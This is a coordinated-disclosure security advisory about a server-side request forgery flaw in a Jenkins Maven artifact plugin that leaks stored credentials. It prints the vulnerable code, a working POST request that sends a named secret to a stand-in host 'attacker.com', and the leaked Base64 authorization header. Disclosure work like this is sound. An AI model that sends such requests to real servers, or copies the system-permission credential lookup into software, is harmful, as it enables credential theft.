Coordinated Disclosure Timeline

Summary

Several Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/maven-artifact-choicelistprovider-plugin allow the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the url parameter in the ArtifactoryChoiceListProvider#doTest. These methods use the ACL.System permission to access the credentials storage and can be abused to leak arbitrary secrets to attacker-controlled servers.

Product

maven-artifact-choicelistprovider-plugin

Tested Version

1.11.1

Details

Credentials leak via SSRF (GHSL-2023-093)

The ArtifactoryChoiceListProvider#doTest method reads a credential identified by the credentialsId query parameter and send it to the attacker-controlled server specified by the url query parameter:

        @RequirePOST
        public FormValidation doTest(@AncestorInPath Item pItem, @QueryParameter String url, @QueryParameter String credentialsId, @QueryParameter String groupId,
                @QueryParameter String artifactId, @QueryParameter String packaging, @QueryParameter String classifier,
                @QueryParameter boolean inverseFilter, @QueryParameter String filterExpression, @QueryParameter boolean reverseOrder) {

            // SECURITY-1022
            pItem.checkPermission(Job.CONFIGURE);

            final IVersionReader service = new ArtifactorySearchService(url);

            // If configured, set User Credentials
            final UsernamePasswordCredentialsImpl c = getCredentials(credentialsId);
            if (c != null) {
                service.setCredentials(c.getUsername(), c.getPassword().getPlainText());
            }
            return super.performTest(service, "", groupId, artifactId, packaging, classifier, inverseFilter, filterExpression, reverseOrder);
        }

In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG credential to attacker.com the authenticated attacker would need to send the following request:

POST /jenkins/job/test/descriptorByName/org.jenkinsci.plugins.maven_artifact_choicelistprovider.artifactory.ArtifactoryChoiceListProvider/test?credentialsId=FLAG&url=http://attacker.com HTTP/1.1
Host: localhost:8080
Jenkins-Crumb: 097e9d8a7af2d82d8ac791db14b793f93d2f609e07b3680b8398d722557ac4c0
Cookie: JSESSIONID.a85b0764=node0vwp5lvl32gbmwuc2nh9i217u2.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Attacker need to be authenticated in order to be able to send this request, but it will be able to read arbitrary secrets it has no access to otherwise.

The code responsible to read the arbitrary credentials is:

    public static UsernamePasswordCredentialsImpl getCredentials(final String pCredentialId) {
        return CredentialsMatchers.firstOrNull(
                CredentialsProvider.lookupCredentials(UsernamePasswordCredentialsImpl.class, Jenkins.getInstance(), ACL.SYSTEM, Collections.<DomainRequirement> emptyList()),
                CredentialsMatchers.allOf(CredentialsMatchers.withId(pCredentialId)));
    }

As we can see in the code, regardless of the user privileges, the ACL.SYSTEM permission is used to load credentials.

Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following GET request:

GET /api/search/gavc?c=&s=version HTTP/1.1
Accept: application/json
Authorization: Basic YWRtaW46U1VQRVJTRUNSRVQ=
User-Agent: Jersey/2.35 (HttpUrlConnection 11.0.16.1)
Host: attacker.com
Connection: keep-alive

The credentials are leaked Base64-encoded in the Authorization header.

This vulnerability was found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to sensitive secret credentials leak.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-093 in any communication regarding this issue.